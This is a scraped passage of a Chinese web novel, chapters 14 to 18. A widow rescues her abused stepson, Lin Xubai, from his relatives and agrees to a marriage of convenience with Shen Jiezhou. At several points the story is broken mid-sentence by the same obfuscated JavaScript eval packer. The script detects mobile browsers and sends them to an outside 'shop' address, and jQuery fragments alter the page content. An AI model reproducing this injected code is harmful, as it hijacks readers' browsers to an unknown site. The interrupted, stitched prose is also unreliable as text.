原先的保证就像一句废话,所以这东西也就变得格外可笑。 他房门被锁,因为怕被打断腿变成了没脾性的泥人。 所以谁都能让他受气,也谁都能使唤他。 林阳阳趴在桌上做题,“你保证我这么学,就能和你一样成为全年级第一?” 林叙白挂着一抹笑,“或许可以。” 这东西谁都说不准的。 “我要的是你保证,你保证!” 林阳阳坐在书桌前,暴躁的性格让他下意识把卷子揉出褶皱。 林叙白从善如流,“那我保证。” 林阳阳点头,这才对嘛,“如果你不能确保我成为年级第一的话,我就告诉爷爷奶奶你没好好教,然后叫他们打断你的腿。” 似乎是大人也在这么说,被他学了去,打断腿威胁他,也成了林阳阳口中必备的一句话。 林叙白看着得意的摇头晃脑林阳阳,眼神黑漆漆的,连一抹笑都挤不出来了。 林阳阳的恶意是这么纯粹,所以只要他犯一点错,都有可能被林阳阳宣泄,成为林国栋他们打断他腿的借口。 林叙白深吸口气,首先滑过心头的是恐慌和无措。 但等再吸口气,他又把这种情绪收敛了起来。 两人在一个桌上,桌子小,林叙白只能坐在靠后的位置。 没有趁手的地方写字,也没有台灯。 在他身前,林阳阳因为成绩差,学不进去,他脑袋摇摇晃晃的,明显困倦的不行。 林叙白在后面看着他睡过去,脑海里突然闪过去个想法。 但机会难得,他必须掌握好时机才行。 于是他自己做了一会题,才生硬地把林阳阳晃醒,“别睡了,今天的任务是把这一页题做完。” —— 纪悠早上是去的包子铺,她已经不习惯吃自己做的任何东西了,就算是简单至极的早餐。 白如兰现在也被天天请客,纪悠美名其曰她也想照顾照顾小姨。 白如兰吃了一口,这玩意,油浸浸的,真的是在照顾她吗? “悠悠,你现在正是没什么想法的阶段,这不就该省钱吗?” 纪悠并不觉得在外面吃顿饭有什么浪费钱的,要是吃自己做的东西,她才无趣地觉得没什么想法呢。 她揉揉脑瓜子,同时也没觉得小姨的唠叨有什么心烦的。 毕竟这话里话外是不是真的对她好她还是能听明白的。 “小姨,我们还是换回之前的话题吧,你刚刚说林叙白怎么了?” 白如兰提起这事就头疼,吴连翠拉着林叙白买菜,林叙白的腿一瘸一拐的,让人看着都不是滋味。 这沈介舟才走了几天,吴连翠她就这样。 同样都是有孩子的,虽然说她对林叙白也没亲生孩子的亲近,但好歹看着长大的,这人乖巧懂事,聪明早熟,看人被霍霍成这样,心里也怪不是滋味的。 但偏偏,她还不能多提人过的有多惨,不然就像是在劝悠悠拿回抚养权一样。 悠悠带一个小孩就已经够不容易了。 “就是吴连翠在外面祸害你的名声,我有点看不下去。” 是的,吴连翠这么折腾人,她还偏偏说是悠悠把人弄伤的,她只是照顾不当而已。 这也是让她心烦的一个点。 纪悠觉得,“事情有点麻烦起来了。” “是啊。” 纪悠和小姨想的不是一个东西,但她也没解释。 她想的是沈介舟的效率不该这么低,难不成是在背后偷偷找收养人嘛,养在身边,继承遗产? 真不爽啊。 白如兰在旁边继续道,“他这样败坏你名声,到时候会吓到婆家耽误你再找的。” 纪悠迟疑地‘嗯’了一声,思考了一会才明白白如兰的意思,她拖着下巴,“只要对方没父母,加上胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578622|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子大,就不会吓到了。” 她好像指定的太明显了。 但纪悠越想越觉得这个方法可行,视线飘到和她眉眼一模一样的林向晨身上后,忍不住又喂了口饭给他。 白如兰原本还想劝,但名声这东西,悠悠似乎再怎么挽救似乎也就那样了。 于是她叹了口气,算是放弃了。 等她再抬眼,就是看到悠悠给向晨喂饭的场景,“你这样,会不会太溺爱孩子了。” 纪悠觉得有吗? “没有吧,倒是你们,对一个八岁的孩子未免也太苛刻了点。” 八岁?八岁能做很多事了啊。 白如兰无奈,但她更不明白这个‘们’是怎么来的,这里面明明就只有她一个人啊。 林向晨接过妈妈的碗,然后埋头继续吃,嘴上还支支吾吾,‘妈妈,我自己来吧。’ 纪悠觉得这小子这是害羞了吧,她乐了一下,然后看向小姨,眼神好像在说‘看吧,你瞧他多可爱’。 白如兰很无奈,但也只当压抑过后的母爱重新爆发的汹涌。 过了一会,外面下起了雨。 白如兰在思索着家里有没有晒什么衣服,耳边听见纪悠问,“今天的雨会下的更大吗?” “不好说,怎么了。” 因为这天,确实是近期天气转凉的征兆,一场大雨一次比一次温度低,然后进入深秋。 “没什么。” 纪悠只是突然想起原著中林叙白被她送走之后的逃亡,那时候剧情的天气,也是这样一个渐变的雨天。 那天,就在逃走之后,他就摔断了腿,没有及时得到救治,双腿彻底残疾,睡在桥洞,遭遇恶人抢劫,还遇到过人贩子。 虽然好奇剧情都这样发展了,林叙白居然还能成功。 但没有详细介绍,她也只能把这当做主角光环了。 如果这真的按照剧情里的那样发展,或是按照沈介舟想要的那样发展,林叙白他似乎都能继承全部的遗产。 15. 第 15 章 雨真的越下越大了,大概是从雾蒙蒙转化成雨林的程度。 纪悠打着伞,然后把钥匙交给白如兰,“小姨,今天就麻烦你帮我照顾一下向晨了。” 白如兰迟疑,“下着雨呢,你这是干嘛去?” 纪悠想起白如兰不是也挺担心林叙白嘛,“你就当我在日行一善吧。” 纪悠没骑自行车,林家距离她家一直都挺近的,她去到那里,首先看到的是昏睡的吴连翠。 她的第一反应是她来晚了。 往里瞧能瞧见杂物间的门锁,居然是被监.禁了吗? 也难怪林叙白逃跑会这么慌不择路了。 “是你把林叙白那小子带走的吧。” 纪悠转头瞧着吴连翠居然醒了,“没长脑子还是不要说话的好。” 如果林叙白是她带走的,那还用得着把你们都迷昏吗? 答案是根本不用,她直接一个人就能当着全屋子人的面把林叙白抢走。 纪悠想到这些日子的谣言有感而发,“既然做什么都会被骂,那就意味着什么都能做啊。” 吴连翠看着纪悠,顿时觉得她的精神状态又不怎么好了,这样的疯子现在还明晃晃地出现在她家院子里。 她哆哆嗦嗦地指着人骂道,“你这个克夫的臭女人。” 这大概是她能想象到的最轻的骂人的话了,但纪悠还是把目光投了过去。 吓得她差点一口气没喘上来,闷咳了好几声。 其实纪悠倒不是在意她这点冒犯,只是在意那个词。 克夫? 说起来,吴连翠不也该是克夫的吗?那林国栋,是克妻。 偏偏这两个人还互相结成了夫妻。 这就很搞笑了。 纪悠确实笑了,然后指了一下吴连翠和刚刚苏醒的林国栋,“你们两个,一个克夫,一个克妻,记得各自都小心点。” 话落纪悠也不管剩下的两人是什么反应,顺着林叙白走的路线就走了出去。 一个十岁小孩的脚印,还真是既特殊又清晰。 这还刚下过雨,就算他谨慎的丢了一双鞋在错误的路段上,也没逃过纪悠的眼睛。 只是他逃跑的方向,居然不是城里吗? 逃跑到中途的林叙白喘着粗气,在路上他的心跳的很快,大概是怕人追出来,又害怕迷茫的未来。 他居然在这个时候不知道要去哪? 但下意识,他的身体帮他做了决定,等反应过来,他才发现他是回不去她那的。 这个村子,是没有他的容身之所的。 而中途变道,这意味着要走一半的山路。 他握着拳,仔细思索后苦笑一声,准备往回走,他无比庆幸,因为一直在瞒着他可以正常走路的事实,这样至少能让林家放下一点警惕。 至少认为,他一个瘸子,一个小时内跑不到这里。 大概浪费时间的后果就是他因为着急失足摔下深坑。 下雨天出行路太滑,但他也没别的办法,林全一家三口因为大雨,中午吃饭不打算回来,两个人,下药成功的可能性要比五个人要高太多。 他只有这一次机会,等被抓回去,他的下场,可想而知。 或许有一瞬间,他都开始觉得自己的命运就是在村里当个一辈子的瘸子。 “或许是老天和你的这条腿有仇,所以你每次受伤都会伤到这条腿。” 听见熟悉的女声,林叙白猛地抬头。 “你,你怎么会在……” 纪悠打着伞,疑惑他居然还有心情问她为什么在这里吗? 她看着自己肮脏的裤腿埋怨道,“因为你的逃跑路线太混乱,实在是浪费了我的好多时间。” “……抱歉。” 纪悠挑眉,既然觉得抱歉,那就记得要给她洗裤子啊。 她蹲下身,决定把林叙白带上来再说,她的力气很大,用粗壮的长树枝把整个人抬起都不成问题。 只是要格外注意脚下,不要落得和林叙白一样的下场。 不是说爬不上来,而是浑身实在说不上是干净。 “你这次带我走是要把我送回去的吗?” 纪悠把人抱起,感到稀奇,“难道我和林家看起来关系很好吗?”还帮他们找人。 林叙白诧异抬眸,这意思是他想的那个意思吗? 通体的不安全感让他下意识抓住纪悠的衣服。 “可以说的再清楚明白些吗?” 纪悠顿了一下,然后托住他的背脊满足了他的要求,“那就是我会抚养你。” “一直?” “一直。” 纪悠这话算是回应了林叙白的不安,林叙白僵硬的身体松懈,纪悠则是更好的揽住他。 她抱着人下山,“倒是可惜了那笔钱。” 等到时候让沈介舟去拿回来吧,毕竟他本来也就是这么打算的嘛。 林叙白捂住胸口的地方,更准确的来说,是捂住那笔钱所在的地方,“我偷出来了。” 纪悠笑了,这么有意思的吗?意思是吴连翠他们折腾一圈最后什么都没有拿到。 如果据她了解到的,他们每个人都对这笔钱有自己的规划吧。 钱放他们那,很有意思,钱偷出来了,也会很有意思。 林叙白看人迟迟不发一言,忍不住问道,“你不要吗?” “要了你就会给我吗?” 林叙白顿了顿,然后点头说,“会。” 纪悠倒是没想到林叙白会这么做,他这时候不是挺没安全感的吗?就算摔下去也要护着这笔钱。 因为他自己也知道,这是让他安身立命的本钱。 纪悠没有纠结太久,她本身可以说就很随性,“那就,我要原本所有的遗产的三分之二。” 按照法定遗产算,他和向晨和她,一人一份。 至于衣食起居,她会负责向晨的。 而林叙白,作为文中摔断腿也能闯出去的人物,他应该已经具备了,能够照顾自己这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈介舟从思考中回过神,“怎么了?” 有个问题林叙白一直想问,但憋在嘴里好久,一直到现在。 他在知道沈叔叔一直和她有联系的时候就这样了,她确实没要他的钱,但比起沈叔叔有的,他的这点又确实不够看了。 所以林叙白深吸口气,开口询问道,“在这之前,你有没有和她达成什么交易。” 沈介舟看了林叙白一眼,莫名的懂了这句话里面的‘她’是谁。 “从来没有过。” 他曾经想达成交易,但是失败了。 林叙白摸着腿,垂眸思索半晌,“那这就够了。” 沈介舟深深看了他一眼,最后还是抿唇什么也没说。 16. 第 16 章 病患需要休息,沈介舟索性从病房里离开。 他在前台掏出钱包,“我来缴纳林叙白的医药费。” 医务人员:“这笔费用已经缴纳过了。” 前台工作人员把视线投向椅子上的纪悠,沈介舟顿了下,随即明白过来点了点头。 他其实是有些意外的,她居然会给叙白缴纳住院费。 但她一直是不能用常理解释的存在,就比如她从不对外澄清对她不利的那些谣言。 他在接到消息赶来的路上就一直在思考,如果说这次叙白的伤口是摔到深坑里摔破的。 那上次的事又真的如传言一样是被她虐待的嘛? 沈介舟深吸口气,出了趟门随后坐在了纪悠的旁边。 “饿了吗?我刚刚去外面买了点吃的。” 纪悠有点乐呵,“真稀奇。” 沈介舟抿唇,明白这句话的由来,那就是他一直潜意识里拒绝和纪悠有过多的牵扯,更别提在外和纪悠表达亲近的事。 而买饭,自然属于亲近的范畴。 一片寂静中,沈介舟接下来的话郑重又认真。 “或许,我们可以结婚。” 他仔细地思衬过了,这是解决一切问题最好的方法。 他继续道,“我个人从来没想过结婚,未来也不会生育,我之前说的父母双亡是真的,这意味着,在我家里,没有人可以压到你头上。” 这在外人面前是个缺点,但在她面前绝对是个优点。 这是沈介舟感觉到的。 纪悠瞧了他一眼,她的第一反应是说点她不知道的,第二个反应是他的兄弟情可真是感天动地。 但事情这下,确实是按照她想要的发展了。 “如果我说不呢?” “要求,你可以提。” 纪悠等的就是这句话,她也不含糊,“我要你的遗产,分给叙白的多少,分给向晨和我的就要多少。” 在原著中,他可是把所有的钱都立遗嘱给了林叙白。 而且她的要求很合理吧,一个深受亡夫遗嘱打击的女人,索要的公平性。 沈介舟确实是这么认为的,除此之外,他还深深地看了纪悠一眼。 “好。” 比起正常结婚,两人的结婚更像是一场冷冰冰的交易,从头到尾,两人都面不改色,冷静非常。 —— 病房里,林叙白躺在病床上。 这大概是他从离开她身边后第一次感受到安稳和安心。 或许是被救了下来,或许是得到了保证,但最重要的可能还是回到了他们的身边。 林叙白视线低垂,透过窗帘发现了一个熟悉的衣角,神色一顿。 下一秒,衣角的主人抱着胸从帘子外走了进来,“受的伤怎么样了?” 林叙白其实挺高兴向晨的第一句话居然是表达关心,他点头道,“还好。” 随即他也担心对方的这句话是在赶人,于是他收敛起笑意,看人的眼神里满是认真和郑重,“但这次,就算是受伤好了我也会继续留在家里的。” 林向晨咬牙,但看人受伤的腿,到底只是哼了一声,“现在知道我妈的好了吧。” 在‘我’的字眼上,林向晨的重音总是格外的重。 林叙白也没否认,他点头道。 “你说的没错。” 林向晨有些震惊对方居然不呛声了,那林叙白不呛声,他还怎么怼回去啊? 这下他岂不是连狠话都放不顺畅了! 他只能昂着脖颈强装下去,“反正我就知道我妈做的肯定是对的。” 林叙白好奇原因,“为什么这么说?” 林向晨臭屁地挑了下眉,得意还是他这个亲生儿子知道的多些。 “因为你从以前开始,就被嘲笑是没妈的孩子,要不是我妈愿意多带着你,你指定也要在流言蜚语中过一辈子了。” 包括这次也是,受了伤要不是他妈妈及时救了他,医生就说林叙白八成得成为瘸子了。 所以在林向晨眼中,林叙白才是那个是非不分的白眼狼! 林向晨迷迷糊糊中好像听见了一句‘抱歉’,但他可不领情,‘哼’了一声,愤怒的拉了下帘子,又给拉回来走了。 其实他说的自信,妈妈也保证过没有比亲生孩子还要有力的关系。 但是!他就是不放心啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578624|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈原本要给的全部的爱还是要分出来不知道多大的一点点。 不爽,非常不爽。 他泪眼朦胧,然后又觉得这不够男子汉地狠狠擦去,等找到妈妈就狠狠抱住她。 “妈妈你还是会像这段时间一样爱我的吧。” 纪悠安抚的摸摸他的头保证道,“不会有任何改变。” 开什么玩笑,她的爱当然是全部给自己亲生的了。 至于林叙白,自然有别人给。 她看向旁边的沈介舟,“这位叔叔,可是打算要包揽林叙白的一切呢,包括关爱也是。” 林向晨惊喜抬头,“真的吗?!” 他眼神亮晶晶地看向旁边的叔叔,如果没记错,他好像就是那个公布遗嘱的。 但是他觉得现在的人看起来,已经没有这么面目可憎了。 纪悠也同样看他。 一片寂静中,沈介舟皱着眉头,这时候他居然感受到了就连工作中都没有过的重压。 他咽了下口水,“或许,一个孩子还是要享受夫妻同时的爱才可以。” 父爱,母爱,在他眼中缺一不可。 林向晨一脚踢在他的小腿上面,气冲冲的走了。 果然,在他眼中,这人还是一样的面目可憎。 纪悠笑了,这笑中自然带了点被可爱到的意思,她看向沈介舟干净衣服上的鞋印。 “既然是夫妻双方共同的关爱,那你也应当不会在意这点小事吧,孩子他爸。” 沈介舟顿了下,随后蓦然抬眸。 “你刚刚,说什么?” 纪悠脚步停了下来,像是不懂一样嘴角继续带着笑,“我说你说的有道理,孩子他爸。” 沈介舟闭上眼,似乎是想劝自己接受,但又觉得这还是太超过了。 “或许我们可以,换个称呼。” “那…介舟?” 似乎是感受到沈介舟身躯都僵硬了,纪悠像是宽宏大量地放过了他。 她抚了抚沈介舟的肩角,“确实,还是给你一点时间接受的好,但这个时间,最好不要太久。” 毕竟他们,马上就要成为新婚夫妻了不是吗? 17. 第 17 章 沈介舟沉着眼,他还是觉得这一连串的对话太超过了。 但纪悠总是能在他接受的范围内及时收手,他撇过眼去,这样最好,两人和普通的夫妻关系本就不同。 他跟在纪悠身侧,“要去哪?” “回去收拾行李。”纪悠觉得就他们家的东西,幸亏沈介舟是开大车来的。 “这么快吗?” “早走还能早把林叙白带去更好的医院呢。” 这个村子,有什么久待的必要吗? 纪悠坐上沈介舟的车,两个人收拾到底还是比一个人收拾要快的多。 诊所距离她家挺远的,能坐车她也不想走路,看到熟悉的路口后发现乌压压的人群,原来是她家门口被林家人团团围住了。 吴连翠想起一连串的事情就心烦,尤其所有人都怪她连一个小孩都看不住,看不住也就算了,钱也丢了。 钱才是最头等的事。 但那钱不是放在客厅柜子里所有人看着的吗? 反正都怪纪悠,她当时发疯的时候都进她家院子了,偷个钱那还不是轻轻松松的事吗? 她看见了人顿时气不打一处来,“你居然敢偷我们家的钱?!” 纪悠坦然地下了车,“这是林叙白的钱,用来给林叙白交医药费了。” 吴连翠想起来了,还有林叙白。 那小子,居然敢偷跑,摔断腿那是他活该,正好都不用他们家打断了。 反正啊,今天,纪悠钱要给他们,人也要给他们。 纪悠倒不怕他们人多势众,只是有点嫌碍事,“你们挡到我回家收拾行李了。” 收拾行李? “你这是要带着钱跑路吗?” 吴连翠闻言更笃定了,现在钱肯定就在纪悠身上。 她现在仗着人多,也没这么怕纪悠这个神经病了。 她想一不做二不休,干脆抢来算了,但一个男人站的角度似乎随时可以把纪悠护在身后。 她抬头瞧了人一眼,逐渐回想起来这人是谁? 他怎么会出现在这里?! 吴连翠惊讶的不行。 不怪她原先认不出来,是她原先就觉得沈介舟只是一个公布遗嘱,给他们送钱办事的工具人。 等知道他有钱,才看了人脸一眼。 因为她直接把这人名字叫出来,林国栋也知道这人是谁了? 他直接大声嚷嚷,跟受了多大委屈一样,“沈先生,你得给我们家评评理。 咱原先说好的,林叙白纪悠不愿意养,抚养权给我们家,现在她眼馋叙白的那笔遗产,又想把人要回去,那我们林家那是万万不能同意的。” 沈介舟冷冷地看人一眼,“事情我都了解了。” 林国栋喜上眉梢,他赶紧道,“那叙白和遗产还是得给我们家……” “事情我是从叙白口中了解到的。” 林国栋脸色一白,他原本因为想到这么聪明的主意非常得意,倒是忘记还有这一茬。 吴连翠看林国栋不顶用,连忙顶上,“那我们家只是威胁要把林叙白的腿打断,那她是真的动手了,我们家还是比纪悠好点的吧。” 纪悠闻言挑了下眉,她看向沈介舟的眼神充满了戏谑。 “所以啊,我们都不靠谱,他已经打算亲自养了。” 这怎么可能?他们还没死呢,怎么能轮到个外人抚养林叙白。 还有这沈介舟要是心疼那笔钱想拿回来,干嘛抚养林叙白,不如赶紧把纪悠那套房子收走才是正道。 她无语道,“他哪有这个资格……” “资格还是有的,因为他,和我结婚了。” “什么?” 吴连翠不可置信,她原本还想着看纪悠这个疯女人嫁不出去的笑话,结果现在这人却找了个更有钱的城里人。 开什么玩笑。 她赶紧看向沈介舟,他这种有钱人,做什么疯居然要找个二婚的啊。 林家这下根本占不到任何理,拿不回钱,这下才林叙白这个在家干活辅导的人都要不回来了。 纪悠看着他们离开,然后看向沈介舟。 “收拾东西就不用你了。” 沈介舟疑惑,“我认为我不是笨手笨脚的类型。” 纪悠摇头,“不是这个意思,是我有件更重要的事情需要你去做。” 林家人这时候离开,其实也是一种赌的心态,认为她着急离开,忘记把他们做过的事到处说。 但她怎么可能忘记这么重要的事。 要知道,在这种穷乡僻壤的村子里,一辈子被人戳脊梁骨吐口水才是最可怕的事啊。 沈介舟点头道,“交给我吧。” “我以为你会制止我。” “不,我会感谢你。” 沈介舟承认他想报复,但他除了拿回钱想不到更好的报复方法,而这种事,叙白已经凭借自己做到了。 而纪悠的主意,才是最好的。 —— 行李很快就收拾好了,纪悠对收拾行李这事一直很有心得,怎么样压缩,怎么样排列。 她几乎把整个家给搬空了,所以也是堪堪才能放进整个大车。 其实东西是全部放进去了,但是在后面毕竟还是要留出空间给孩子们。 纪悠对旧房的感情一般般,在这点上不比向晨,林向晨在自己的房间左看右看,“不知道以后还能不能回来。” 纪悠说出口的话算是安慰,“房子的所有权还在我手上。” 林向晨纠结了半天,“不,还是不回来了。” 房子是好的,但是村子没什么喜欢的。 所以他不会回来的。 纪悠有点搞不清小孩的心理,其实她原先最好的打算是,“那我卖掉了?” “好,反正到时候可以多拿很多钱。” 用钱代替这点点怀念心理,值! 纪悠漫不经心地转着钥匙,看人一眼,莫名的笑了笑。 “马上要去新的环境了,害不害怕?” “不怕,反正妈妈去哪我就去哪。” 纪悠很想信他,但是看他颤抖的手掌顿时又觉得确实没有多少说服力。 她把人抱起,“到时候陪我坐副驾驶好了。” 林向晨对姿势感到别扭。 “我腿又没受伤。” 纪悠觉得好笑,“确定不要嘛?这种事年龄越大,越长成男子汉越没有哦。” 看到林向晨半推半就的同意了,纪悠乐不可支,她抱着人坐上副驾驶。 旁边的沈介舟看了眼她,然后又看向叙白,叙白眼中的向往是这么明显。 他叹了口气,“这样你坐在后面的位置会更宽敞些。” 也不用担心蜷着腿会受到多余的伤害了。 “我明白的,沈叔叔。” 沈介舟觉得他现在说什么好像都有点空白,他干脆蹲下身,“我给你准备了个软枕,这样能让你的腿少受颠簸。” 林叙白点头,“谢谢叔叔。” 其实他现在应该换称呼的,但是叫不出口,他到现在还是不明白两人为什么结婚。 他之前问过沈叔叔有没有达成什么交易,当时沈叔叔看起来并没有说谎。 他问过沈叔叔,他的回答是‘她很迷人,他一见钟情。’ 前半句话他承认,但后半句话他保持怀疑,因为沈叔叔看起来真不像是能一见钟情的人。 沈介舟注意到林叙白的视线,然后对他笑了一下。 林叙白低下头,“那我现在上车。” 沈介舟点头说‘好’,然后把人抱了上去,他则去了驾驶座。 从这里到那边的路程其实不算近,但沈介舟曾经是跑过车的人,开车开七八个小时问题不大。 他在都城有好几套房产,最常回的地方是距离公司最近的一套小别墅。 从外面看,小别墅里亮着灯,里面明显有人。 纪悠忍不住看过去,沈介舟解释道,“是保姆。” 虽然说这地方是最常回的别墅,但他大多数吃住还是在公司里面解决的。 所以他雇佣了个保姆,按时按点的去给他送饭。 纪悠皮笑肉不笑的,说出的话也说不出是个什么情绪,“看来你和林墨在城里日子过得不错嘛。” “这是我一个人的保姆。” 沈介舟解释道,但是有时候确实,也会给林墨送饭。 有,但是很少。 纪悠很明显看出了这点猫腻,“我以后也要为我的朋友这么打掩护。” 最后她总结,“家里确实不需要请保姆了,因为我,就是保姆。” 沈介舟和林墨对于家里的事交流的太少,就算想解释,他现在也说不出什么。 于是抿了抿唇,彻底闭上嘴。 两人提着行李进了屋,沈介舟先前要回来的消息已经跟人说过了,所以今天孟姨才在。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578625|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 给他们一家做晚饭。 经过这么一路的心理建设,沈介舟已经能还算自如的给外人介绍说,“这是我的新婚妻子纪悠。” 孟姨诧异的瞪大眼,她作为做饭的,自然知道今天听说来的客人有三个,一大人两小孩。 也知道说是这是林总的老婆孩子。 但是没想到沈先生居然就这么和人结婚了。 “为了报答林总的恩情,先生你竟然……。” 纪悠挑了下眉,恩情?那她倒是不太了解这件事了。 她坐了下来,想继续听。 但沈介舟神色冷硬,显然并不想沟通这件事,孟姨在这做了这么久,也算个了解沈介舟情绪的。 于是收拾好东西离开了。 纪悠拖着腮,看来不是住家保姆,但是既然随到随到,花的钱也不少。 虽然有很多事想要问,但这样的时间有的是,比起问问题,还是先填饱肚子更重要。 当然,能够在外面做保姆的人厨艺必然是不能差的。 纪悠瞧了一眼菜色,“其实我以为你这样的人,是不喜欢吃辣的。” “我什么都能吃。” 沈介舟对辣确实不太感冒,但他看出来了,纪悠喜欢。 所以他专门叮嘱人做了。 他给人夹了一块辣子鸡,算是感谢她吃完饭再问问题。 因为有些问题确实不方便在孩子面前说,但是纪悠看起来是不会在乎这些的。 纪悠接受的很坦然,她看了眼这别墅的空间,住四个人应该还是绰绰有余的吧,“等吃完饭再挑房间好了。” 饭后纪悠象征意义地选了个沈介舟旁边的房间,得到了他的侧目。 林叙白则是选了楼下的位置,纪悠感叹他做了个好决定,因为老天爷确实总喜欢和他的腿过不去,万一上下楼的空挡再摔倒了可怎么办。 至于林向晨,“我当然要住在妈妈旁边。” 纪悠觉得没问题,沈介舟则是提出了一点建议,“这个别墅只有四个房间。” “其余的这么大的空间是摆设?” “我的意思这些是主卧,也就是大的房间只有四个。” 他和纪悠住在楼上,那林叙白和林向晨就得住在楼下。 纪悠有个主意,“可以把你赶下去吗?” “抱歉,二楼有固定的工作设备。” 纪悠感叹,“那可真是可惜了。” 讨论的对象林向晨当然听出了问题,顿时用不满的眼神看向沈介舟,不过眼神要是有用的话,沈介舟早就被他看成筛子了。 他看向妈妈,纪悠则表示,“可以更好的放你的那些玩具才是最好的。” 林向晨后续看向林叙白,然后点了点头。 确定好房间之后,两个小孩就跑去收拾了。 沈介舟不需要收拾,走到二楼楼梯口,和等着他的纪悠对上眼神。 纪悠也是很直接,“我认为我们已经结婚了,有些事情还是该坦诚相待的。” 沈介舟往里面走的更深了些,“其实这件事我也没想瞒你,只是在村子里不方便说出来而已。” 纪悠没说信还是不信,只是淡定看着他道。 “那你现在总可以说了吧。” 现在这个楼梯口就他们两个人。 沈介舟眸色深沉,提起这件事很明显让他非常不舒服,或许这是属于车祸的应激反应。 他缓了一会才道,“林墨他其实是我的救命恩人。” 其实纪悠也不是很意外,要想让兄弟做到这份上,确实除了救命之恩也很难有别的解释了。 纪悠敲了敲桌子,很明显她觉得还有别的。 沈介舟看人一眼,仿佛听懂了暗示一样继续道。 “虽然我的父母双亡,但我的祖辈还在世,包括很多亲戚也还健在,所以我并不是短寿基因。” 沈介舟说完看了纪悠,很明显,纪悠看出来他当时和女孩说的话是真的了。 而她在结婚条件上又专门列出了‘遗嘱’这个条件,打的什么主意沈介舟还是知道的。 “抱歉,让你失望了。” 纪悠也没掩饰,“确实失望。” 她倒是忘记了,原著中从来都是立遗嘱,而不是说沈介舟死了。 所以他能活很久这件事还是有可能的。 真是糟糕的消息啊。 难怪沈介舟在答应的时候还专门看了她一眼。 18. 第 18 章 纪悠也算坦然地接受了这件事,毕竟这也不是完全没好处。 毕竟沈介舟他,活的越久,赚的也就越多,无论怎么算,她都不吃亏。 沈介舟看着人的眼神,不由得皱着眉头,因为每次被她用这种眼神看着,总有种被算计的感觉。 但是这又是他们彼此原本就心知肚明的事。 他撇开眼去,“有什么需要的可以再提。” 纪悠则是原先就看了一圈了,没什么多余的要准备的,只要把她从家里带的东西收拾好就行。 她还是有点意外的,沈介舟居然在这么短的时间内,准备的这么齐整,家具和简单的生活用品都考虑到了。 甚至包括林叙白的轮椅。 纪悠想了想,“那我可以借你房间的电话一用吗?” “现在很晚了,等隔段时间我会弄个新的电话给你。” 纪悠明白,这个的意思就是不行了。 虽然确实没什么重要的事要说,但也不妨碍她吐槽,“这可真是过河拆桥。” 沈介舟算是解释,“我不喜欢有人进去我的房间。” 纪悠摆摆手,“随你怎么说。” 这话听起来像是不信,但沈介舟认为他已经解释的很清楚了,于是把视线放到下面,“我去帮叙白收拾一下房间。” 纪悠也跟着下楼,“那我也去给向晨讲深夜故事好了,突然到了新的环境,他肯定很没有安全感吧。” 沈介舟迟疑了下,如果没记错,向晨他已经八岁半了吧。 这样养着确定不会太溺爱了吗? 但纪悠似乎一直是比较溺爱的类型,比如向晨踢了他的腿,她也是纵容的态度。 沈介舟冷了神色,沉默不语的去了叙白的房间。 他记得,这个房间从窗户外可以看见花坛,如果是叙白的话,养伤的期间多看看这些多半心情会好很多吧。 他摸了摸床单,发现花纹整齐,不像是坐在轮椅上的叙白整理的。 林叙白笑着解释说,“向晨刚刚来过,他其实很贴心的。” 冷着脸不发一言,但会看他有什么做不到或者需要的。 刚刚来了一圈不动声色的就把床单给他弄好了。 “居然是这样。” 沈介舟稀奇,觉得可能他刚刚对向晨这小孩的想法太片面了。 他冲着向晨房间的方向看过去,正好听见向晨看见妈妈来的惊呼声。 同样是大人来帮忙,他们这边则要冷淡很多,沈介舟能感受到叙白的落寞,要他像她那样讲故事吗? 这有点太勉强他了。 “突然换到新的环境里会不适应吗?” 林叙白摇头,“还好。” 沈介舟点头,看来叙白不是因为这个落寞,他蹲下身,“你一个人行动不方便,我先抱你到床上休息吧。” “不用了,沈叔叔很忙吧,如果我连这点小事都做不到,那得麻烦你多少事情啊。” 沈介舟确实很忙,但也不至于这点空挡都挪不出来。 看来叙白还是因为这次的事,独立到有点让人觉得心疼。 空气安静了会,他问了和纪悠同样的问题。 “有什么需要的可以再提的。” 林叙白抬头,“沈叔叔,我想继续念书。” 从林家退学的时候他就在思索他要怎样才能有继续上学的机会,现在沈叔叔把机会送到了他面前。 